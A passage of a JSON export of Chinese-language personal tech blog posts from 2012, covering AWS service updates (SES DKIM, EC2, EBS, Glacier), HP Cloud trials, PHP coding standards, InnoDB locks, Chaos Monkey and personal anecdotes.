    "body": "<a href=\"http://www.dkim.org/\">DKIM</a> 全名 DomainKeys Identified Mail，是透過數位簽名技術確保 E-mail 的寄件人不是被偽造的，對於防止透過電子郵件<a href=\"https://zh.wikipedia.org/wiki/%E9%92%93%E9%B1%BC%E5%BC%8F%E6%94%BB%E5%87%BB\">網路釣魚</a>是個還蠻有效的技術。\r\n\r\n本來透過 <a href=\"http://aws.amazon.com/ses/\">AWS SES</a> 寄信，要自己處理 DKIM 簽名的部份，不過今天 <a href=\"http://aws.amazon.com/\">AWS</a> 宣佈這項功能內建進 AWS SES：「<a href=\"http://aws.typepad.com/aws/2012/07/simple-email-service-easy-domainkeys-identified-mail-support.html\">Simple Email Service - Easy DomainKeys Identified Mail (DKIM) Support</a>」。\r\n\r\n於是，現在用 AWS SES 的人要 DKIM 只要把 SES 提供的 DNS record 設上去就可以了，比起之前自己得在 <a href=\"http://www.sendmail.org/\">Sendmail</a> 或是 <a href=\"http://www.postfix.org/\">Postfix</a> 上弄一堆東西方便不少。",
    "title": "AWS SES 支援 DKIM"
  },
  {
    "id": "2917",
    "body": "前幾天中文維基百科條目數量超過 50 萬 (台灣時間 7/15 的凌晨)，算是一個里程碑 (吧)，不過每次遇到條目數量里程碑的時候就會有這種現象：「<a href=\"https://zh.wikipedia.org/wiki/Wikipedia:VPN#.E4.BB.8A.E5.A4.A9.E6.A2.9D.E7.9B.AE.E6.95.B8.E5.A2.9E.E5.8A.A0.E5.A5.BD.E5.BF.AB.E5.95.8A.EF.BC.81\">今天條目數增加好快啊！</a>」。\r\n\r\n不過中文維基百科的社群氣氛還是跟以前差不多...\r\n\r\n話說回來，原來<a href=\"https://zh.wikipedia.org/wiki/Wikipedia:%E7%AE%A1%E7%90%86%E5%93%A1%E8%A7%A3%E4%BB%BB%E6%8A%95%E7%A5%A8/Shizhao/%E7%AC%AC7%E6%AC%A1\">書生罷免案已經第七次</a>了啊...",
    "title": "中文維基百科破 50 萬條目..."
  },
  {
    "id": "2920",
    "body": "早上就看到 <a href=\"http://aws.amazon.com/ec2/\">AWS EC2</a> 推出 hi1.4xlarge 的消息：「<a href=\"http://aws.typepad.com/aws/2012/07/new-high-io-ec2-instance-type-hi14xlarge.html\">New High I/O EC2 Instance Type - hi1.4xlarge - 2 TB of SSD-Backed Storage</a>」(官方 blog)、「<a href=\"http://www.allthingsdistributed.com/2012/07/high-performace-io-instance-amazon-ec2.html\">Expanding The Cloud – High Performance I/O Instances for Amazon EC2</a>」(CTO Werner Vogels 的 blog)。\r\n\r\n幾個比較重要的特性：\r\n<ul>\r\n\t<li>60.5GB 記憶體</li>\r\n\t<li>10Gbps 網路</li>\r\n\t<li>1TB 的 SSD volume 兩個</li>\r\n</ul>\r\n前面兩個不會太意外，因為需要高速 I/O 的服務通常也都很需要用大量記憶體當作 cache 降低 I/O，也需要大量頻寬提供服務。用 SSD 也在預期的範圍內，不過提供的 SSD 空間居然這麼大...\r\n\r\n當然，價位也不便宜，美東就要 USD$3.10/hour，<del>冰島</del>愛爾蘭則是 USD$3.41/hour (目前只有這兩區有提供)。如果以美東一個月 720hours 計算是 USD$2232，約台幣六萬六千多？",
    "title": "AWS 推出高速 I/O 的 EC2 instance"
  },
  {
    "id": "2922",
    "body": "剛剛註冊了 <a href=\"https://www.hpcloud.com/\">HP Cloud</a> 測試 <a href=\"https://www.hpcloud.com/products/cloud-compute\">Compute</a> 的部分 (相對於 <a href=\"http://aws.amazon.com/\">AWS</a> 就是 <a href=\"http://aws.amazon.com/ec2/\">EC2</a>)。\r\n\r\n先就公開的資訊來看，其實還不錯？最小的 instance 是 Extra Small，規格是 1GB RAM + 30GB Disk，收費 USD$0.04/hour，如果是 Small 則是 2GB RAM + 60GB Disk，另外在 Public Beta 期間是 50% off (半價)。\r\n\r\n頻寬部分與 AWS 美國區的價錢相同，Inbound 不收費，Outbound 與 AWS 階梯式相同。\r\n\r\n有提供網頁介面操作外，也有提供 CLI 可以用：「<a href=\"https://docs.hpcloud.com/cli/unix\">Unix Command Line Interface</a>」，看起來是 <a href=\"http://www.ruby-lang.org/\">Ruby</a>... (沒裝起來測)\r\n\r\n實際註冊完成後可以由從 zone 的名稱「az-1.region-a.geo-1」推敲出實際的機房位置在亞利桑那州 (實際開起來後也是如預期)，<a href=\"http://www.hinet.net/\">HiNet</a> 過去大約 140ms。\r\n\r\n就 Public Beta 服務來看，要開 instance 時可以選擇的 OS image 也還算豐富：\r\n\r\n<a href=\"http://imgur.com/wP7oa\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wP7oa.webp\" /><img src=\"https://i.gslin.com/imgur/wP7oa.jpg\" alt=\"\" /></picture></a>\r\n\r\nCPU 部分，<a href=\"http://www.openssl.org/\">openssl</a> speed 的數據是：「<a href=\"https://gist.github.com/3147897\">HP Cloud, openssl speed</a>」，速度比起 EC2 的 m1.small 算是相當好的。\r\n\r\n硬碟部分，<a href=\"http://www.iozone.org/\">iozone</a> -a 的數據：「<a href=\"https://gist.github.com/3148066\">HP Cloud, iozone -a (over XFS)</a>」，我是在跑 iozone 的時候用 dstat -at 觀察，寫入極限大約有 90MB/sec 到 100MB/sec，不過實際用 dd 測試就會發現應該是 host 有 cache，因為檔案很大的時候只有 20MB/sec 的寫入速度 XD\r\n\r\n晚點再來測 Object Storage 與 CDN 的部分...",
    "title": "試用 HP Cloud (Compute 部分)"
  },
  {
    "id": "2924",
    "body": "<a href=\"https://gist.github.com/\">Gist</a> 是 <a href=\"https://github.com/\">GitHub</a> 提供的 Pastebin 類型服務，拿來貼一些雜七雜八的東西還蠻方便的...\r\n\r\n<a href=\"http://gist.io/\">gist.io</a> 則是利用 Gist，抓出內容排版後把內容丟出來。舉例來說，這是原始的文章「OAuth and API Providers: Come on guys.<a href=\"https://gist.github.com/3156418\"></a>」：\r\n\r\n<a href=\"http://imgur.com/2z3c6\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2z3c6.webp\" /><img src=\"https://i.gslin.com/imgur/2z3c6.jpg\" alt=\"\" /></picture></a>\r\n\r\n這是排版後的文章「<a href=\"http://gist.io/3156418\">OAuth and API Providers: Come on guys.</a>」：\r\n\r\n<a href=\"http://imgur.com/B889u\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/B889u.webp\" /><img src=\"https://i.gslin.com/imgur/B889u.jpg\" alt=\"\" /></picture></a>",
    "title": "輕鬆發表文章的 gist.io 服務..."
  },
  {
    "id": "2925",
    "body": "在 <a href=\"http://news.ycombinator.com/\">Hacker News</a> 上看到的玩具：\r\n<ul>\r\n\t<li>先隨機產生多邊形圖形。</li>\r\n\t<li>丟到 Face detection library 偵測是否有臉，沒有找到的話就回到第一步，如果有的話就會有個匹配值 (fitness)。</li>\r\n\t<li>如果有找到臉，就試著修改圖形 (進化) 找到更高的匹配值...</li>\r\n</ul>\r\nJavaScript 寫的，可以在 browser 上直接跑。原始程式碼在「<a href=\"https://github.com/phl/pareidoloop\">https://github.com/phl/pareidoloop</a>」，可以用瀏覽器玩的網站在「<a href=\"http://iobound.com/pareidoloop/\">pareidoloop</a>」。\r\n\r\n用基因演算符合 Face detection library 偵測的特徵，還蠻有趣的玩具... 這是跑了大約半個小時跑出來的臉 (還蠻小張的)：\r\n\r\n<a href=\"http://imgur.com/pEuCz\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pEuCz.webp\" /><img src=\"https://i.gslin.com/imgur/pEuCz.jpg\" alt=\"\" /></picture></a>\r\n\r\n有些臉的感覺，不過因為只有黑白圖片，而且又小小張的，感覺有點像是靈異照片 XDDD 像是「<a href=\"http://news.gamme.com.tw/156854\">八大真實靈異照片！</a>」這邊的例子...",
    "title": "隨機產生「臉」的 pareidoloop"
  },
  {
    "id": "2926",
    "body": "剛剛要抓圖發現不能抓，第一個想到的是：\r\n<ul>\r\n\t<li>使用硬體加速，所以不能抓。</li>\r\n</ul>\r\n不過看了一下設定檔已經是 xv 了... 後來在「<a href=\"http://ubuntuforums.org/showthread.php?t=1791256\">[ubuntu] smplayer screenshot function not working...</a>」這邊找到解法，原因是：\r\n<ul>\r\n\t<li>目錄不存在不能抓圖 (連選都不讓你選)，要改目錄位置，或是把設定的目錄建出來。</li>\r\n</ul>\r\n非常... 不直覺... 的錯誤處理方式...",
    "title": "Ubuntu 下 smplayer 無法截圖的問題"
  },
  {
    "id": "2928",
    "body": "一個組織裡要導入 coding standatd &amp; coding style 時是功夫最少的時候，除非有特殊理由，不然我一向都是建議：\r\n<blockquote>不要自己發明 coding standard 與 coding style，如果社群的規範合理，就照著社群的規範走。</blockquote>\r\n社群中比較完整的包括：\r\n<ul>\r\n\t<li><a href=\"http://framework.zend.com/manual/en/coding-standard.html\">Zend Framework Coding Standard for PHP</a>。</li>\r\n\t<li><a href=\"http://www.php-fig.org/\">PHP-FIG (PHP Framework Interop Group)</a> 提出的：<ul>\r\n\t\t<li><a href=\"https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-0.md\">PSR-0</a> (Autoloading Standard)</li>\r\n\t\t<li><a href=\"https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-1-basic-coding-standard.md\">PSR-1</a> (Basic Coding Standard)</li>\r\n\t\t<li><a href=\"https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md\">PSR-2</a> (Coding Style Guide)</li>\r\n\t</ul>第一份文件主要是講 Framework 架構 (class 的命名，以及檔案要怎麼放)，第二篇與第三篇則是對 coding standard 與 coding style 訂出規範。</li>\r\n</ul>\r\n兩份大多數的規範是相同的 (因為 community 已經有習慣了)，不過現在感覺起來 PHP-FIG 比較熱鬧一點 (參與的人來自不同的專案)，如果讓我推薦的話我會建議用 PSR-{0,1,2}。\r\n\r\nReply to「<a href=\"http://blog.wu-boy.com/2012/07/how-to-write-maintainable-php-source-code/\">寫出好維護的 PHP 程式碼</a>」。",
    "title": "關於可維護的 PHP 專案：PHP-FIG 的 PSR-0、PSR-1、PSR-2"
  },
  {
    "id": "2931",
    "body": "應 <a href=\"http://www.passionbean.com/\">Passion Bean</a> 的 Sting 與 <a href=\"http://ihower.tw/\">ihower</a> 邀請，到內湖用了兩個小時分享對於 Startup 公司在系統操作上的一些想法：\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"500d5984550dc2000205935b\" data-ratio=\"1.299492385786802\" src=\"//speakerdeck.com/assets/embed.js\"></script>\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"500d5ac5550dc20002059b96\" data-ratio=\"1.299492385786802\" src=\"//speakerdeck.com/assets/embed.js\"></script>\r\n\r\n另外可以在 <a href=\"https://www.facebook.com/events/413221612057426/\">Facebook 上的活動頁</a> 找到錄影。\r\n\r\n一些關鍵字：\r\n<ul>\r\n\t<li>us-east-1：<a href=\"http://aws.amazon.com/\">AWS</a> 美東區的代號，位於維吉尼亞州。</li>\r\n\t<li>「萬事屋」指的是「<a href=\"http://www.iserver.com.tw/\">新杰資訊科技股份有限公司</a>」的老闆 Alex Wen。</li>\r\n\t<li>Invalidation 與 <del>Nameing</del> Naming 是 CS 兩大難題：「<a href=\"http://martinfowler.com/bliki/TwoHardThings.html\">TwoHardThings</a>」。</li>\r\n\t<li>「未熟調教是一切邪惡的根源」出自劉燈「<a href=\"http://lukhnos.org/blog/zh/archives/575/\">重新學C++</a>」文章中 slzzp 的 comment</li>\r\n</ul>",
    "title": "在 Passion Bean 分享：System Operations for Startup"
  },
  {
    "id": "2934",
    "body": "把一些思路整理成投影片，之後如果要教育訓練也比較方便...\r\n\r\n把「為什麼平常就要記錄系統狀態」的原因寫成投影片：\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"500ed87fc267cb000205b96e\" data-ratio=\"1.3333333333333333\" src=\"//speakerdeck.com/assets/embed.js\"></script>\r\n\r\n<a href=\"https://speakerdeck.com/\">Speaker Deck</a> 還蠻好用的啊，之後應該都不會用 <a href=\"http://www.slideshare.net/\">SlideShare</a> 了...",
    "title": "關於系統分析的想法..."
  },
  {
    "id": "2936",
    "body": "還... 蠻少見的？\r\n\r\n<a href=\"http://imgur.com/9H4wb\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9H4wb.webp\" /><img src=\"https://i.gslin.com/imgur/9H4wb.jpg\" alt=\"\" /></picture></a>",
    "title": "第一次看到 Twitter 這樣死的..."
  },
  {
    "id": "2937",
    "body": "有去現場的人可以問問會不會出綠色乖乖桶嗎？(認真)\r\n\r\n<a href=\"http://weekly.ithome.com.tw/seminar/20120810/index.html\"><img src=\"https://i.gslin.com/imgur/DGOa4.jpg\" alt=\"\" /></a>",
    "title": "這一定要工商服務一下..."
  },
  {
    "id": "2938",
    "body": "到 <a href=\"http://24h.pchome.com.tw/\">24h</a> 上買完東西後會有個提示頁面，最下面會列出常見詐騙手法：(常常買但都沒看 XD 這次停下來看一下...)\r\n\r\n<a href=\"http://imgur.com/AmxKo\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AmxKo.webp\" /><img src=\"https://i.gslin.com/imgur/AmxKo.jpg\" alt=\"\" /></picture></a>\r\n\r\n其中正看到這條：\r\n<blockquote>來電顯示開頭為「+」者，是國際電話，有可能就是詐騙電話！</blockquote>\r\n然後就收到簡訊就送來：\r\n\r\n<a href=\"http://imgur.com/xcJP7\"><img src=\"https://i.gslin.com/imgur/xcJP7.jpg\" alt=\"\" /></a>\r\n\r\n...............................",
    "title": "「詐騙電話」..."
  },
  {
    "id": "2939",
    "body": "<a href=\"http://www.innodb.com/\">InnoDB</a> 設計上允許同時讀寫，在大多數的情況下不會產生 table lock，不過還是有機會。(或是刻意產生)\r\n\r\n在「<a href=\"http://www.mysqlperformanceblog.com/2012/07/31/innodb-table-locks/\">Innodb Table Locks</a>」這篇文章提到 InnoDB 的各種 lock (都是帶過而已，不過當關鍵字去 <a href=\"https://www.google.com/\">Google</a> 找應該是夠用了)，在文章最後面整理出結論，第一個是：\r\n<blockquote> MySQL Table level locks and Innodb Table Level locks are two separate beings.</blockquote>\r\n而就算是 InnoDB，你也還是可以用 <code>LOCK TABLES</code>，效果的確會如同你想的，只是這並不是由 InnoDB engine 實作。而最後是這樣建議：\r\n<blockquote>It is a good practice not to use LOCK TABLES when you're using Innodb Tables.</blockquote>\r\n另外註解也有提到 auto inc primary key 偶而也會造成問題，都可以當關鍵字去找出細節 :p\r\n\r\nReply to「<a href=\"http://blog.gslin.org/archives/2012/05/31/2885/%E9%95%B7%E9%87%8E%E9%9B%85%E5%BB%A3-masahiro-nagano-%E7%9A%84-mysql-beginners-talk/\">長野雅廣 (Masahiro Nagano) 的 MySQL Beginners Talk</a>」的 comment :p",
    "title": "InnoDB 的 Table Lock"
  },
  {
    "id": "2940",
    "body": "<a href=\"http://aws.amazon.com/ebs/\">AWS EBS</a> 是 <a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 平台上的永久性儲存空間 (一般開起來的空間在 crash 後會消失)，不過 EBS 的效能 (速度與 <a href=\"https://en.wikipedia.org/wiki/IOPS\">IOPS</a>) 一直讓大家很頭痛，要硬撐 IOPS 的方式是透過四個 EBS volume，上面用 <a href=\"https://en.wikipedia.org/wiki/Mdadm\">mdadm</a> 跑 RAID0...\r\n\r\n這幾個禮拜 AWS 丟出了兩個方案出來，提供不同的選擇...\r\n\r\n首先是帶大容量 SSD 空間的 instance，參考「<a href=\"http://blog.gslin.org/archives/2012/07/19/2920/aws-%E6%8E%A8%E5%87%BA%E9%AB%98%E9%80%9F-io-%E7%9A%84-ec2-instance/\">AWS 推出高速 I/O 的 EC2 instance</a>」，這對於 cache 類的應用相當適合...\r\n\r\n而昨天則是介紹了 Provisioned IOPS 與 EBS-Optimized instances：「<a href=\"http://aws.typepad.com/aws/2012/08/fast-forward-provisioned-iops-ebs.html\">Fast Forward - Provisioned IOPS for EBS Volumes</a>」。\r\n\r\nProvisioned IOPS 是保障 IOPS 的機制，每個 volume 最高可以到 1000 IOPS。除了每 GB 的價錢比較高以外，另外每個保障的 IOPS 要再收 USD$0.1/month。(本來 EBS 的 I/O 費用還是要計算)\r\n\r\n標準的 EBS 約提供 100 IOPS，這個 Provisioned IOPS 架構讓使用者要在上面衝 IOPS 變得更容易...\r\n\r\n<a href=\"http://imgur.com/OfSex\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OfSex.webp\" /><img src=\"https://i.gslin.com/imgur/OfSex.jpg\" alt=\"\" /></picture></a>\r\n\r\nEBS-Optimized instances 是把 EBS 使用的頻寬獨立出來，目前只支援 m1.large、m1.xlarge 以及 m2.4xlarge 這三種，其中 m1.large 跑到 500Mbps (理論值 62.5MB/sec)，後面兩種可以上 1Gbps (125MB/sec)，使得服務與 I/O 的頻寬不會互相干擾到...",
    "title": "AWS EBS 的改善..."
  },
  {
    "id": "2942",
    "body": "看到 <a href=\"https://twitter.com/evenwu/\">evenwu</a> 在講 <a href=\"https://twitter.com/evenwu/status/230731414570672128\">Safari 6+ 把 Backspace 回到上一頁的功能拔掉的補救方式</a>後，我突然想到 <a href=\"https://www.google.com/chrome/\">Chrome</a> 應該也有類似的功能...\r\n\r\n<a href=\"http://imgur.com/N5Xda\"><img src=\"https://i.gslin.com/imgur/N5Xdal.jpg\" alt=\"\" /></a>\r\n\r\n找到的套件是「<a href=\"https://chrome.google.com/webstore/detail/aeffggjddcchloadflonilaahpclmbnm\">Backspace As Back/Forward for Linux</a>」，雖然套件上寫 <a href=\"http://www.linux.org/\">Linux</a>，但在 <a href=\"http://www.apple.com/mac/\">Mac</a> 上也可以用... (倒是 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上還沒測 XD)\r\n\r\n不過... 這個套件好像只能用在 html 頁面...",
    "title": "Google Chrome (以及 Chromium) 內用 Backspace 回到上一頁"
  },
  {
    "id": "2943",
    "body": "<a href=\"https://github.com/Netflix/SimianArmy\">Chaos Monkey</a> 是 <a href=\"http://www.netflix.com/\">Netflix</a> 丟出來的工具，這個工具的目的是希望建立超高可靠度的系統。方法則是沒事就亂關 <a href=\"http://aws.amazon.com/\">AWS</a> 上的 instance：「<a href=\"http://techblog.netflix.com/2012/07/chaos-monkey-released-into-wild.html\">Chaos Monkey released into the wild</a>」。\r\n\r\n基本的想法是這樣：\r\n<ul>\r\n\t<li>在 AWS 上的系統容錯率要超高。</li>\r\n\t<li>上班時間爛掉比凌晨三點被 call 起床好。</li>\r\n\t<li>所以平常就放火測試容錯率到底夠不夠高，方法就是隨機關 instance。</li>\r\n</ul>\r\n照 Netflix 的說法，他們不僅在開發環境測試，也在正式環境測試。利用 Chaos Monkey 看看 failure 的結果是否如預期。\r\n\r\nNetflix 甚至建議可以排成每個上班日都隨機跑一跑：\r\n<blockquote>The service has a configurable schedule that, by default, runs on non-holiday weekdays between 9am and 3pm.</blockquote>\r\n只有在爆炸機率超高的系統上，設計師才會在意 failure 的問題...",
    "title": "Netflix 的 Chaos Monkey"
  },
  {
    "id": "2944",
    "body": "塞車塞到爆炸 (坐客運還遇到前一台發車的車子拋錨，乘客在高速公路上換到我坐的這台車...)，然後就遲到快一個小時了... +_+ (圖片就是抛錨的三重客運 XD)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/7708190766\"><img src=\"http://farm8.staticflickr.com/7111/7708190766_05e403fb85_o.jpg\" alt=\"抛錨的三重客運\" /></a>\r\n\r\n星期五先去<a href=\"http://www.tenlong.com.tw/\">天瓏</a>買 <a href=\"http://www.tenlong.com.tw/items/0321336313\">TCP/IP Illustrated, Volume 1</a>，結果到現場發現沒精裝本，只有 <a href=\"http://www.tenlong.com.tw/items/020163354X\">Volume 2</a> 有精裝本...\r\n\r\n書本身的故事就不講了 (當天兩位新人解釋了老半天 XD)，下面是請 Blake 學長頒獎的照片：\r\n\r\n<img src=\"https://i.gslin.com/imgur/UMmbt.jpg\" alt=\"\" />\r\n\r\n婚宴後先跑去<a href=\"http://wiki.nctu.edu.tw/index.php/%E4%BA%A4%E5%A4%A7%E5%9C%9F%E5%9C%B0%E5%85%AC\">交大門口的土地公廟</a>拜拜，然後發現二餐改建中，就整群人跑到<a href=\"http://www.cs.nctu.edu.tw/cht/about_cs/index1.php\">資工系系計中</a>... (發現都不太認識了 XD)\r\n\r\n系計中新機房整理的真不錯啊，而且機房冷氣超冷，跟以前比起來舒服多了...",
    "title": "回新竹參加婚宴..."
  },
  {
    "id": "2947",
    "body": "兩年前寫的「<a href=\"http://blog.gslin.org/archives/2010/09/30/2308/%E7%9B%B4%E6%8E%A5%E5%AE%89%E8%A3%9D-adobe-flash-player-%E8%80%8C%E4%B8%8D%E5%AE%89%E8%A3%9D-dlm/\">直接安裝 Adobe Flash Player 而不安裝 DLM</a>」這篇已經過時了，新的網址是：\r\n<ul>\r\n\t<li><a href=\"http://download.macromedia.com/pub/flashplayer/current/support/install_flash_player_ax.exe\">install_flash_player_ax.exe</a> (ActiveX 版本，IE 用)</li>\r\n\t<li><a href=\"http://fpdownload.macromedia.com/pub/flashplayer/current/licensing/win/install_flash_player_11_plugin_32bit.exe\">install_flash_player_11_plugin_32bit.exe</a> (其他瀏覽器用)</li>\r\n</ul>\r\n抓下 exe 檔後直接執行就可以了。",
    "title": "不安裝 Adobe DLM 的前提下安裝 Adobe Flash Player 11.x"
  },
  {
    "id": "2948",
    "body": "在 <a href=\"http://www.akamai.com/\">Akamai</a> 的新聞稿上看到的：「<a href=\"http://www.akamai.com/html/about/press/releases/2012/press_080612.html\">August 06, 2012 – Akamai Expands Presence In Asia Pacific</a>」。\r\n\r\n查了一下地址，在敦化南路的遠企：\r\n<blockquote>\r\nAkamai Technologies Limited Taiwan Office\r\nFar Eastern Plaza\r\nLevel 16, No. 207, Section 2\r\nDun Hua South Road \r\nTaipei, 106\r\n</blockquote>\r\n沒別的意思，看到紀錄一下 :p",
    "title": "Akamai 在台北開辦公室..."
  },
  {
    "id": "2949",
    "body": "<a href=\"http://www.apple.com/mac/\">Mac</a> 上面的<a href=\"https://zh.wikipedia.org/\">中文版維基百科</a>字體「很不友善」，沒有花太多時間看，但大概是用 font-face 改 sans-serif 造成的...\r\n\r\n因為平常都有登入，懶得跟他囉唆，設個 css 進 <a href=\"https://zh.wikipedia.org/wiki/User:Gslin/common.css\">User:Gslin/common.css</a>，直接避開 sans-serif 被 font-face 惡搞掉的情況：\r\n<blockquote><pre>body {\r\n    font-family: Helvetica;\r\n}</pre></blockquote>\r\n這樣出來的字就好多了...",
    "title": "修改中文維基百科的字體..."
  },
  {
    "id": "2951",
    "body": "昨天 (過十二點了) 跟兔子吃飯提到 <a href=\"https://en.wikipedia.org/wiki/ISO/IEC_27001\">ISO/IEC 27001</a>，果然有些數字當場都記錯了...\r\n\r\n在 <a href=\"http://www.iso27001certificates.com/Register%20Search.htm\">www.iso27001certificates.com/Register%20Search.htm</a> 這邊有資料可以看每個國家通過的張數，另外在 <a href=\"http://www.iso27001certificates.com/certification_directory.htm\">www.iso27001certificates.com/certification_directory.htm</a> 則可以查到有哪些單位負責認證與稽核。\r\n\r\n2012 年八月的現在，台灣通過 461 張 (這幾年竄起的)，中國 393 張，美國與加拿大加起來 115 張 (之前看的時候還是兩位數？)...\r\n\r\n至於這些數字要怎麼解讀，就是個人的想法了 :p",
    "title": "關於 ISO/IEC 27001..."
  },
  {
    "id": "2953",
    "body": "前天回到家發現電腦是關的，本來以為是停電，但同樣接在 UPS 上的 <a href=\"http://www.apple.com/tw/macmini/\">Mac Mini</a> 卻好好的，打開電腦一進 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 就發現 <a href=\"http://wpitchoune.net/blog/psensor/\">Psensor</a> 在警告過熱，看了一下說明，是 CPU 過熱... 以為是假警報，結果過沒多久就自己關機了 XD\r\n\r\n<a href=\"http://wpitchoune.net/blog/psensor/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hAsob.webp\" /><img src=\"https://i.gslin.com/imgur/hAsob.jpg\" alt=\"\" /></picture></a>\r\n(圖複製自 Psensor 官網)\r\n\r\n拆開電腦發現 CPU 風扇卡榫掛了，CPU 風扇無法貼住... 第一個想法是自己買來換，查了一下看起來是不貴，但想到要好幾天才能用就懶...\r\n\r\n後來想了一下，先查一下官網資料。<a href=\"http://tw.asus.com/\">華碩</a>的 <a href=\"http://tw.asus.com/Motherboards/AMD_AM3/M4A87TDUSB3/\">M4A87TD/USB3</a> 主機板保固三年，我是 2010 年買的，所以還在保固內... 而光華的維修中心星期六白天有開，應該是，就星期六睡飽過去...。\r\n\r\n<a href=\"http://tw.asus.com/Motherboards/AMD_AM3/M4A87TDUSB3/\"><img src=\"https://i.gslin.com/imgur/P4x8C.jpg\" alt=\"\" /></a>\r\n(圖複製自 ASUS 官網)\r\n\r\n我自己看損壞的狀況，應該是四個螺絲拆下來，換個底座再鎖上去就好了，所以應該是拿給他之後去吃個飯，然後回來收個工本費就可以收工... 不過在現場交件的時候直接請我等兩分鐘馬上拿 (不收工本費)，害我愣了一下...\r\n\r\n拿回家接上後把散熱膏弄一弄就繼續快樂的服役了... XD",
    "title": "修主機板..."
  },
  {
    "id": "2954",
    "body": "官方公佈 <a href=\"http://jquery.com/\">jQuery</a> 1.8.0 了：「<a href=\"http://blog.jquery.com/2012/08/09/jquery-1-8-released/\">JQUERY 1.8 RELEASED</a>」。\r\n\r\n這個時間點 <a href=\"https://developers.google.com/speed/libraries/\">Google Libraries API</a> 已經放上 1.8.0 了：HTTP 版的 <a href=\"http://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js\">http://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js</a> 與 HTTPS 版的 <a href=\"https://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js\">https://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js</a>。\r\n\r\n靠著 <a href=\"http://sizzlejs.com/\">Sizzle</a> 翻修、拔掉一些 alias 與功能，以及 code cleanup，使得 jQuery 1.8.0 在 gzip 後比 1.7.2 小了一些。",
    "title": "jQuery 1.8.0"
  },
  {
    "id": "2956",
    "body": "因為大約只有 25mins 的時間，如果用傳統的方式先用 20mins 講，再用 5mins 開放 Q&amp;A 看起來沒講到東西又沒回答到問題。\r\n\r\n所以這次打算用不一樣的方式，先放出投影片，準備 25mins 都是 Q&amp;A 的時間。(而且時間是 12:30 結束，提前結束還可以先吃飯？)\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"502d4c6815c66a0002000890\" data-ratio=\"1.3333333333333333\" src=\"//speakerdeck.com/assets/embed.js\"></script>\r\n\r\n請享用...",
    "title": "COSCUP 2012 的投影片：MySQL System Stability"
  },
  {
    "id": "2958",
    "body": "<a href=\"https://speakerdeck.com/u/gslin/p/coscup-2012-mysql-system-stability\">COSCUP 2012 - MySQL System Stability</a>：\r\n\r\n<script async class=\"speakerdeck-embed\" data-id=\"50305330edfca800020158cf\" data-ratio=\"1.3333333333333333\" src=\"//speakerdeck.com/assets/embed.js\"></script>",
    "title": "COSCUP 2012 今天的投影片 (工商服務部分)"
  },
  {
    "id": "2959",
    "body": "本來以為 <a href=\"http://framework.zend.com/\">Zend Framework</a> 1 只會出到 1.11 (以前有說過嗎？)，結果剛剛發現 <a href=\"http://zend-framework-community.634137.n4.nabble.com/Zend-Framework-1-12-0RC3-Released-td4656000.html\">1.12.0rc3</a>，這真是太驚人了 XDDD\r\n\r\n這樣看起來 Zend Framework 1.11 與 <a href=\"http://www.php.net/\">PHP</a> 5.4 之間的問題就有解了...",
    "title": "Zend Framework 1.12 系列..."
  },
  {
    "id": "2960",
    "body": "發現連到 <a href=\"http://aws.amazon.com/\">AWS</a> 首頁出現破圖，結果發現 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 的 DNS 爆炸，不管是從 <a href=\"http://www.hinet.net/\">HiNet</a> 或是從 <a href=\"http://www.linode.com/\">Linode</a> 東京查都查不到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8Nzw0.webp\" /><img src=\"https://i.gslin.com/imgur/8Nzw0.jpg\" alt=\"\" /></picture>\r\n\r\n在 <a href=\"https://forums.aws.amazon.com/\">AWS Developer Forums</a> 上面也開始有人問了：\r\n<ul>\r\n\t<li> <a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=102439\">CloudFront Download sometims very slow</a></li>\r\n</ul>\r\n晚點應該會有說明吧...",
    "title": "AWS CloudFront 爆炸..."
  },
  {
    "id": "2962",
    "body": "<a href=\"http://aws.amazon.com/s3/\">Amazon Simple Storage Service (Amazon S3)</a> 是 <a href=\"http://aws.amazon.com/\">AWS</a> 第一代儲存服務。後來 S3 又提供了 Reduced Redundancy Storage，降低可靠度 (一年 99.99%) 換取價錢上的優勢，用在 cache file 之類的還蠻不錯。目前兩者在美東的價錢是 USD$0.125/GB 與 USD$0.093/GB。這兩種都是隨時可以存取的服務。\r\n\r\n<a href=\"http://aws.amazon.com/glacier/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/odDYV.webp\" /><img src=\"https://i.gslin.com/imgur/odDYV.jpg\" alt=\"\" /></picture></a>\r\n\r\n而 <a href=\"http://aws.amazon.com/glacier/\">Amazon Glacier</a> 則是提供超低的價錢與超高的可靠度：USD$0.01/GB 與一年 99.999999999%，而這是靠取回檔案的時間換來的。取回檔案需要排 3.5 到 4.5 小時的時間 (後面傳輸的時間另外計算)：\r\n<blockquote>Retrieving archives from Amazon Glacier requires the initiation of a job. Jobs typically complete in 3.5 to 4.5 hours.</blockquote>\r\n是靠著機械手臂與軌道在處理嗎？\r\n\r\n但這樣就多了很多用途啊... <a href=\"https://en.wikipedia.org/wiki/Data_warehouse\">Data warehouse</a> 